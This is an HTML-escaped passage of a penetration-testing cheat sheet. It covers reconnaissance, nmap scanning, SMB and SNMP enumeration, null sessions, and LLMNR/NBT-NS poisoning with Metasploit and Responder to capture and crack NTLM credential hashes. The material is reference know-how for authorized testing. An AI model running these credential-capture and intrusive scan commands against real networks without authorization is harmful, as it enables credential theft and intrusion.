  &lt;li&gt;&lt;a href=&quot;#reverse-shells&quot; id=&quot;markdown-toc-reverse-shells&quot;&gt;Reverse Shells&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tty-shells&quot; id=&quot;markdown-toc-tty-shells&quot;&gt;TTY Shells&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#python-tty-shell-trick&quot; id=&quot;markdown-toc-python-tty-shell-trick&quot;&gt;Python TTY Shell Trick&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#spawn-interactive-sh-shell&quot; id=&quot;markdown-toc-spawn-interactive-sh-shell&quot;&gt;Spawn Interactive sh shell&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#spawn-perl-tty-shell&quot; id=&quot;markdown-toc-spawn-perl-tty-shell&quot;&gt;Spawn Perl TTY Shell&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#spawn-ruby-tty-shell&quot; id=&quot;markdown-toc-spawn-ruby-tty-shell&quot;&gt;Spawn Ruby TTY Shell&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#spawn-lua-tty-shell&quot; id=&quot;markdown-toc-spawn-lua-tty-shell&quot;&gt;Spawn Lua TTY Shell&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#spawn-tty-shell-from-vi&quot; id=&quot;markdown-toc-spawn-tty-shell-from-vi&quot;&gt;Spawn TTY Shell from Vi&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#spawn-tty-shell-nmap&quot; id=&quot;markdown-toc-spawn-tty-shell-nmap&quot;&gt;Spawn TTY Shell NMAP&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#metasploit-cheat-sheet&quot; id=&quot;markdown-toc-metasploit-cheat-sheet&quot;&gt;Metasploit Cheat Sheet&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#meterpreter-payloads&quot; id=&quot;markdown-toc-meterpreter-payloads&quot;&gt;Meterpreter Payloads&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#windows-reverse-meterpreter-payload&quot; id=&quot;markdown-toc-windows-reverse-meterpreter-payload&quot;&gt;Windows reverse meterpreter payload&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#windows-vnc-meterpreter-payload&quot; id=&quot;markdown-toc-windows-vnc-meterpreter-payload&quot;&gt;Windows VNC Meterpreter payload&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#linux-reverse-meterpreter-payload&quot; id=&quot;markdown-toc-linux-reverse-meterpreter-payload&quot;&gt;Linux Reverse Meterpreter payload&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#meterpreter-cheat-sheet&quot; id=&quot;markdown-toc-meterpreter-cheat-sheet&quot;&gt;Meterpreter Cheat Sheet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#common-metasploit-modules&quot; id=&quot;markdown-toc-common-metasploit-modules&quot;&gt;Common Metasploit Modules&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#remote-windows-metasploit-modules-exploits&quot; id=&quot;markdown-toc-remote-windows-metasploit-modules-exploits&quot;&gt;Remote Windows Metasploit Modules (exploits)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#local-windows-metasploit-modules-exploits&quot; id=&quot;markdown-toc-local-windows-metasploit-modules-exploits&quot;&gt;Local Windows Metasploit Modules (exploits)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#auxilary-metasploit-modules&quot; id=&quot;markdown-toc-auxilary-metasploit-modules&quot;&gt;Auxilary Metasploit Modules&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#metasploit-powershell-modules&quot; id=&quot;markdown-toc-metasploit-powershell-modules&quot;&gt;Metasploit Powershell Modules&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#post-exploit-windows-metasploit-modules&quot; id=&quot;markdown-toc-post-exploit-windows-metasploit-modules&quot;&gt;Post Exploit Windows Metasploit Modules&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ascii-table-cheat-sheet&quot; id=&quot;markdown-toc-ascii-table-cheat-sheet&quot;&gt;ASCII Table Cheat Sheet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#cisco-ios-commands&quot; id=&quot;markdown-toc-cisco-ios-commands&quot;&gt;CISCO IOS Commands&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#cryptography&quot; id=&quot;markdown-toc-cryptography&quot;&gt;Cryptography&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#hash-lengths&quot; id=&quot;markdown-toc-hash-lengths&quot;&gt;Hash Lengths&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#hash-examples&quot; id=&quot;markdown-toc-hash-examples&quot;&gt;Hash Examples&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sqlmap-examples&quot; id=&quot;markdown-toc-sqlmap-examples&quot;&gt;SQLMap Examples&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#document-changelog&quot; id=&quot;markdown-toc-document-changelog&quot;&gt;Document Changelog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;pre-engagement&quot;&gt;Pre-engagement&lt;/h2&gt;

&lt;h3 id=&quot;network-configuration&quot;&gt;Network Configuration&lt;/h3&gt;

&lt;h4 id=&quot;set-ip-address&quot;&gt;Set IP Address&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ifconfig eth0 xxx.xxx.xxx.xxx/24 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;subnetting&quot;&gt;Subnetting&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ipcalc xxx.xxx.xxx.xxx/24 
ipcalc xxx.xxx.xxx.xxx 255.255.255.0 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;osint&quot;&gt;OSINT&lt;/h2&gt;

&lt;h3 id=&quot;passive-information-gathering&quot;&gt;Passive Information Gathering&lt;/h3&gt;

&lt;h4 id=&quot;dns&quot;&gt;DNS&lt;/h4&gt;

&lt;h5 id=&quot;whois-enumeration&quot;&gt;WHOIS enumeration&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;whois domain-name-here.com 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;perform-dns-ip-lookup&quot;&gt;Perform DNS IP Lookup&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dig a domain-name-here.com @nameserver 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;perform-mx-record-lookup&quot;&gt;Perform MX Record Lookup&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dig mx domain-name-here.com @nameserver
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;perform-zone-transfer-with-dig&quot;&gt;Perform Zone Transfer with DIG&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dig axfr domain-name-here.com @nameserver
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;dns-zone-transfers&quot;&gt;DNS Zone Transfers&lt;/h2&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
   &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nslookup -&amp;gt; set type=any -&amp;gt; ls -d blah.com&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Windows DNS zone transfer&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;dig axfr blah.com @ns1.blah.com&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Linux DNS zone transfer&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h4 id=&quot;email&quot;&gt;Email&lt;/h4&gt;

&lt;h5 id=&quot;simply-email&quot;&gt;Simply Email&lt;/h5&gt;

&lt;p&gt;Utilize tools like Simply Email to efficiently identify online presence (e.g., GitHub, target websites). Employ proxies or throttling to avoid detection and CAPTCHAs.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Simply Email can verify the discovered email addresss after gathering.&lt;/p&gt;

&lt;h3 id=&quot;semi-active-information-gathering&quot;&gt;Semi Active Information Gathering&lt;/h3&gt;

&lt;h4 id=&quot;basic-finger-printing&quot;&gt;Basic Finger Printing&lt;/h4&gt;

&lt;p&gt;Manual finger printing / banner grabbing.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
   &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nc -v 192.168.1.1 25&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;&lt;code&gt;telnet 192.168.1.1 25&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Basic versioning / finger printing via displayed banner&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h4 id=&quot;banner-grabbing-with-nc&quot;&gt;Banner grabbing with NC&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
&amp;lt;enter&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;active-information-gathering&quot;&gt;Active Information Gathering&lt;/h3&gt;

&lt;h4 id=&quot;dns-bruteforce&quot;&gt;DNS Bruteforce&lt;/h4&gt;

&lt;h5 id=&quot;dnsrecon&quot;&gt;DNSRecon&lt;/h5&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;DNS Enumeration Kali - DNSRecon&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml&lt;/span&gt;
        &lt;/p&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;h4 id=&quot;port-scanning&quot;&gt;Port Scanning&lt;/h4&gt;

&lt;h5 id=&quot;nmap-commands&quot;&gt;Nmap Commands&lt;/h5&gt;

&lt;p&gt;For more commands, see the Nmap cheat sheet (link in the menu on the right).&lt;/p&gt;

&lt;p&gt;Basic Nmap Commands:&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -v -sS -A -T4 target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

        &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -v -sS -p--A -T4 target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;As above but scans all TCP ports (takes a lot longer)&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -v -sU -sS -p- -A -T4 target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;As above but scans all TCP ports and UDP scan (takes even longer)&lt;/p&gt;
      &lt;/td&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -v -p 445 --script=smb-check-vulns &lt;br /&gt;--script-args=unsafe=1 192.168.1.X&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;ls /usr/share/nmap/scripts/* | grep ftp&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Search nmap scripts for keywords&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;/div&gt;

&lt;p&gt;Some have inquired about the use of T4 scans. It’s crucial to exercise caution and consider the context. For external penetration testing, especially over the internet, T2 scans with TCP connect are often more prudent. The higher latency and potential bandwidth constraints of remote connections can make T4 scans less effective.&lt;/p&gt;

&lt;p&gt;Internal penetration testing, particularly on low-latency networks with ample bandwidth, might benefit from the more detailed information provided by T4 scans. However, it’s essential to assess the target devices. Embedded devices, for example, may struggle with the intensity of T4 or T5 scans, leading to inconclusive results.&lt;/p&gt;

&lt;p&gt;As a general best practice, opt for slower scans to minimize disruption. Alternatively, a quick scan of the top 1000 ports can provide a preliminary understanding, allowing you to initiate penetration testing while a more thorough, slower scan runs concurrently.&lt;/p&gt;

&lt;h6 id=&quot;nmap-udp-scanning&quot;&gt;Nmap UDP Scanning&lt;/h6&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sU TARGET 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h6 id=&quot;udp-protocol-scanner&quot;&gt;UDP Protocol Scanner&lt;/h6&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/portcullislabs/udp-proto-scanner.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Scan a file of IP addresses for all services:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./udp-protocol-scanner.pl -f ip.txt 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Scan for a specific UDP service:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;udp-proto-scanner.pl -p ntp -f ips.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h6 id=&quot;other-host-discovery&quot;&gt;Other Host Discovery&lt;/h6&gt;

&lt;p&gt;Other methods of host discovery, that don’t use nmap…&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;netdiscover -r 192.168.1.0/24&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you&apos;re on the right VLAN at $client site&lt;/p&gt;
      &lt;/td&gt;

    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;enumeration--attacking-network-services&quot;&gt;Enumeration &amp;amp; Attacking Network Services&lt;/h2&gt;

&lt;p&gt;Penetration testing tools that spefically identify and / or enumerate network services:&lt;/p&gt;

&lt;h3 id=&quot;samb--smb--windows-domain-enumeration&quot;&gt;SAMB / SMB / Windows Domain Enumeration&lt;/h3&gt;

&lt;h4 id=&quot;samba-enumeration&quot;&gt;Samba Enumeration&lt;/h4&gt;

&lt;h5 id=&quot;smb-enumeration-tools&quot;&gt;SMB Enumeration Tools&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U &quot;&quot; target
enum4linux target
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Also see, nbtscan cheat sheet (right hand menu).&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;Command&lt;/th&gt;
        &lt;th&gt;Description&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
        &lt;tbody&gt;
        &lt;tr&gt;
        &lt;td&gt;
          &lt;p&gt;&lt;code&gt;nbtscan 192.168.1.0/24&lt;/code&gt;&lt;/p&gt;
        &lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;

       &lt;tr&gt;
        &lt;td&gt;
          &lt;p&gt;&lt;code&gt;enum4linux -a target-ip&lt;/code&gt;&lt;/p&gt;
        &lt;/td&gt;
        &lt;td&gt;
              &lt;p&gt;Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing&lt;/p&gt;
        &lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;/div&gt;

&lt;h5 id=&quot;fingerprint-smb-version&quot;&gt;Fingerprint SMB Version&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;smbclient -L //192.168.1.100 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;find-open-smb-shares&quot;&gt;Find open SMB Shares&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24   
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;enumerate-smb-users&quot;&gt;Enumerate SMB Users&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;RID Cycling:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Metasploit module for RID cycling:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;use auxiliary/scanner/smb/smb_lookupsid
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;manual-null-session-testing&quot;&gt;Manual Null session testing:&lt;/h5&gt;

&lt;p&gt;Windows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;net use \\TARGET\IPC$ &quot;&quot; /u:&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Linux:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;smbclient -L //192.168.99.131
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;nbtscan-unixwiz&quot;&gt;NBTScan unixwiz&lt;/h5&gt;

&lt;p&gt;Install on Kali rolling:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt-get install nbtscan-unixwiz 
nbtscan-unixwiz -f 192.168.0.1-254 &amp;gt; nbtscan
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;llmnr--nbt-ns-spoofing&quot;&gt;LLMNR / NBT-NS Spoofing&lt;/h3&gt;

&lt;p&gt;Steal credentials off the network.&lt;/p&gt;

&lt;h5 id=&quot;metasploit-llmnr--netbios-requests&quot;&gt;Metasploit LLMNR / NetBIOS requests&lt;/h5&gt;

&lt;p&gt;Spoof / poison LLMNR / NetBIOS requests:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Capture the hashes:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You’ll end up with NTLMv2 hash, use john or hashcat to crack it.&lt;/p&gt;

&lt;h4 id=&quot;responderpy&quot;&gt;Responder.py&lt;/h4&gt;

&lt;p&gt;Alternatively you can use responder.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Run Responder.py for the whole engagement&lt;/h5&gt;
  &lt;p&gt;Run Responder.py for the length of the engagement while you&apos;re working on other attack vectors.&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;snmp-enumeration-tools&quot;&gt;SNMP Enumeration Tools&lt;/h3&gt;

&lt;p&gt;A number of SNMP enumeration tools.&lt;/p&gt;

&lt;p&gt;Fix SNMP output values so they are human readable:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt-get install snmp-mibs-downloader download-mibs
echo &quot;&quot; &amp;gt; /etc/snmp/snmp.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;snmpcheck -t 192.168.1.X -c public&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;&lt;code&gt;snmpwalk -c public -v1 192.168.1.X 1| &lt;br /&gt; grep hrSWRunName|cut -d* * -f &lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;&lt;code&gt;snmpenum -t 192.168.1.X&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;&lt;code&gt;onesixtyone -c names -i hosts&lt;/code&gt;&lt;/p&gt;  
      &lt;/td&gt;
      &lt;td&gt;SNMP enumeration&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h4 id=&quot;snmpv3-enumeration-tools&quot;&gt;SNMPv3 Enumeration Tools&lt;/h4&gt;

&lt;p&gt;Idenitfy SNMPv3 servers with nmap:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sV -p 161 --script=snmp-info TARGET-SUBNET
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Use Metasploits Wordlist&lt;/h5&gt;
  &lt;p&gt;Metasploit&apos;s wordlist (KALI path below) has common credentials for v1 &amp;amp; 2 of SNMP, for newer credentials check out Daniel Miessler&apos;s SecLists project on GitHub (not the mailing list!).&lt;/p&gt;
&lt;/div&gt;

